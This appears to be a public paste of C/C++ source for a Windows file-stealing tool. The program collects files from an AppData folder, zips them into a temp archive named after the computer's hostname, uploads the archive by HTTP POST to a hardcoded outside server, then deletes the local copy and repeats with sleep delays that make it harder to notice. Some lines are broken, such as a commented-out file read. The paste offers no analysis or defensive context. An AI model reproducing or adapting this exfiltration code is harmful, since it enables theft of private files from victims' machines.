Guest User

Untitled

a guest
Aug 9th, 2015
301
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include "miniz.c"
  2. #include <WS2tcpip.h>
  3. #include <Windows.h>
  4. #define HTTPSERVER "www.dateoutcast.com"
  5. #define HTTPPATH "/u/up.php"  // get it from http://pastebin.com/UMs7R5fi
  6. #pragma comment(lib,"ws2_32.lib")
  7. #define sleeptime 10000  //miliseconds=12h
  8.  
  9.  
  10. SOCKET HTTPConnectToServer(const char * server) // By Anasazi
  11. {
  12.     SOCKADDR_IN serverInfo;
  13.     SOCKET sck;
  14.     WSADATA wsaData;
  15.     LPHOSTENT hostEntry;
  16.     int i;
  17.    
  18.  
  19.     WSAStartup(MAKEWORD(2, 2), &wsaData);
  20.     hostEntry = gethostbyname(server);
  21.     if (!hostEntry) return 0;
  22.  
  23.     sck = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  24.     if (sck == INVALID_SOCKET) return 0;
  25.  
  26.     serverInfo.sin_port = htons(80);
  27.     serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);
  28.     serverInfo.sin_family = AF_INET;
  29.  
  30.     i = connect(sck, (LPSOCKADDR)&serverInfo, sizeof(struct sockaddr));
  31.     if (sck == SOCKET_ERROR || i != 0) return 0;
  32.  
  33.     return sck;
  34. }
  35. int HTTPUploadFile(char * szName, char * szLog, int size) // By Anasazi
  36. {
  37.     SOCKET sConnection; int chars = 0;
  38.     char szHeader[500],
  39.         szDataEnd[] = "\r\n--WARPCRYPT--\r\n", szDataHeader[256];
  40.  
  41.     sprintf(szDataHeader, "--WARPCRYPT\r\n"
  42.         "Content-Disposition: form-data; name=\"userfile\"; filename=\"%s\"\r\n\r\n",
  43.         szName);
  44.  
  45.     sprintf(szHeader, "POST %s HTTP/1.0\r\n"
  46.         "Host: %s\r\n"
  47.         "User-Agent: WarpHTTP\r\n"
  48.         "Content-Length: %d\r\n"
  49.         "Connection: close\r\n"
  50.         "Content-Type: multipart/form-data; boundary=WARPCRYPT\r\n"
  51.         "\r\n", HTTPPATH, HTTPSERVER, strlen(szDataHeader) + strlen(szDataEnd) + size);
  52.  
  53.     sConnection = HTTPConnectToServer(HTTPSERVER);
  54.     if (sConnection == 0) return 0;
  55.  
  56.     send(sConnection, szHeader, strlen(szHeader), 0);
  57.     send(sConnection, szDataHeader, strlen(szDataHeader), 0);
  58.     //printf("send(%s) log...", szName);
  59.     send(sConnection, szLog, size, 0);
  60.     //printf("   Done!\n");
  61.     send(sConnection, szDataEnd, strlen(szDataEnd), 0);
  62.     closesocket(sConnection);
  63.     WSACleanup();
  64.     return 0;
  65. }
  66. void HTTPBeginUpload(char szFileName[MAX_PATH]) // By Anasazi
  67. {
  68.  
  69.  
  70.  
  71.  
  72.     FILE * f;
  73.     char * fileData;
  74.     __int64 nSize;
  75. #ifdef _DEBUG_
  76.     printf("Starting uploading...\n");
  77. #endif
  78.     f = fopen(szFileName, "rb");
  79.     if (!f) return;
  80.  
  81.     fseek(f, 0, SEEK_END);
  82.     nSize = ftell(f);
  83.     rewind(f);
  84.  
  85.     fileData = (char *)malloc(sizeof(char)* nSize);
  86.     if (!fileData) return;
  87.  
  88.     fread(fileData, sizeof(char), nSize, f);
  89.     fclose(f);
  90.  
  91.     HTTPUploadFile(szFileName, fileData, nSize);
  92. #ifdef _DEBUG_
  93.     printf("Uploading done & files deleted...\n");
  94. #endif
  95.     free(fileData);
  96.    
  97.  
  98.     return;
  99. }
  100.  
  101. //void DisplayError(LPTSTR lpszFunction)
  102. // Routine Description:
  103. // Retrieve and output the system error message for the last-error code
  104. //{
  105. //  LPVOID lpMsgBuf;
  106. //  LPVOID lpDisplayBuf;
  107. //  DWORD dw = GetLastError();
  108.  
  109. //  FormatMessage(
  110. //      FORMAT_MESSAGE_ALLOCATE_BUFFER |
  111. //      FORMAT_MESSAGE_FROM_SYSTEM |
  112. //      FORMAT_MESSAGE_IGNORE_INSERTS,
  113.     //  NULL,
  114. //      dw,
  115.     //  MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
  116. //      (LPTSTR)&lpMsgBuf,
  117.     //  0,
  118.     //  NULL);
  119.  
  120. //  lpDisplayBuf =
  121. //      (LPVOID)LocalAlloc(LMEM_ZEROINIT,
  122. //      (lstrlen((LPCTSTR)lpMsgBuf)
  123. //      + lstrlen((LPCTSTR)lpszFunction)
  124. //      + 40) // account for format string
  125. //      * sizeof(TCHAR));
  126.  
  127. //  sprintf((char*)lpDisplayBuf, "%s failed with error code %d as follows:\n%s",
  128. //      lpszFunction,
  129. //      dw,
  130. //      lpMsgBuf);
  131.  
  132.     //MessageBox(NULL, (char*)lpDisplayBuf, "ERROR", MB_OK);
  133.  
  134.     //LocalFree(lpMsgBuf);
  135.     //LocalFree(lpDisplayBuf);
  136. //}
  137.  
  138. int WINAPI WinMain(HINSTANCE inst, HINSTANCE prev, LPSTR cmd, int show)
  139. {
  140.     WSADATA wsdata;
  141.     WSAStartup(0x0101, &wsdata);
  142.     WIN32_FIND_DATA w32fd = { 0 };
  143.     char pAppDataEnvString[] = "%APPDATA%\\folder";
  144.     char pTempEnvString[] = "%TEMP%";
  145.     char pAppData[MAX_PATH] = { 0 };
  146.     char pFilePath[MAX_PATH] = { 0 };
  147.     char pZipFilePath[MAX_PATH] = { 0 };
  148.     char* lpFileData;
  149.     char hostname[MAX_COMPUTERNAME_LENGTH + 1];
  150.     DWORD lwMax = MAX_COMPUTERNAME_LENGTH;
  151.     DWORD dwFileSize;
  152.     DWORD dwBytesRead;
  153.     HANDLE hFind;
  154.     HANDLE hFile;
  155.     srand((unsigned)time(0));
  156.     int random_integer = rand();
  157.     char buffer[150];
  158.    
  159.        
  160.     ExpandEnvironmentStrings(pAppDataEnvString, pAppData, MAX_PATH);
  161.     strcat(pAppData, "\\*");
  162.  
  163.     hFind = FindFirstFile(pAppData, &w32fd);
  164.    
  165.         while ((GetFileAttributes(pAppDataEnvString)) != INVALID_FILE_ATTRIBUTES)
  166.         {
  167.  
  168.             do
  169.             {
  170.                 if (strcmp(w32fd.cFileName, ".") == 0 || strcmp(w32fd.cFileName, "..") == 0)
  171.                     continue;
  172.                 if (w32fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  173.                     continue;
  174.  
  175.  
  176.                 ExpandEnvironmentStrings(pAppDataEnvString, pFilePath, MAX_PATH);
  177.                 strcat(pFilePath, "\\");
  178.                 strcat(pFilePath, w32fd.cFileName);
  179.                 Sleep(300000);
  180.                 hFile = CreateFile(pFilePath,
  181.                     FILE_GENERIC_READ,
  182.                     FILE_SHARE_READ,
  183.                     NULL, OPEN_EXISTING,
  184.                     0, NULL);
  185.  
  186.                 //  if (hFile == INVALID_HANDLE_VALUE)
  187.                 //  {
  188.                 //      DisplayError("CreateFile");
  189.                 //  }
  190.  
  191.                 dwFileSize = GetFileSize(hFile, NULL);
  192.                 lpFileData = new char[dwFileSize + 1];
  193.                 //  if (FALSE == ReadFile(hFile, lpFileData, dwFileSize, &dwBytesRead, NULL))
  194.                 //  {
  195.                 //  DisplayError("ReadFile");
  196.                 //  }
  197.                 lpFileData[dwFileSize] = '\0';
  198.                 GetComputerName(hostname, &lwMax);
  199.  
  200.                 ////////////////
  201.                 _itoa(random_integer, buffer, 10);
  202.                 //MessageBoxA(0, buffer, buffer, MB_OK);
  203.                 //////////////
  204.                 ExpandEnvironmentStrings(pTempEnvString, pZipFilePath, MAX_PATH);
  205.                 strcat(pZipFilePath, "\\");
  206.                 strcat(pZipFilePath, hostname);
  207.                 strcat(pZipFilePath, buffer);
  208.                 strcat(pZipFilePath, ".zip");
  209.                 Sleep(5000);
  210.                 if (mz_zip_add_mem_to_archive_file_in_place(pZipFilePath, w32fd.cFileName, lpFileData, dwFileSize, nullptr, 0, MZ_BEST_COMPRESSION) == MZ_FALSE)
  211.                 {
  212.                     MessageBox(NULL, "Unable to add file to Appdata.zip", "ERROR", MB_OK);
  213.                 }
  214.                 Sleep(5000);
  215.                 CloseHandle(hFile);
  216.                 delete[] lpFileData;
  217.  
  218.             } while (FindNextFile(hFind, &w32fd) != FALSE);
  219.        
  220.    
  221.     FindClose(hFind);
  222.    
  223.  
  224.     HTTPBeginUpload(pZipFilePath);
  225.     DeleteFileA(pZipFilePath);
  226.     Sleep(sleeptime);
  227.         }
  228.     return 0;
  229. }
RAW Paste Data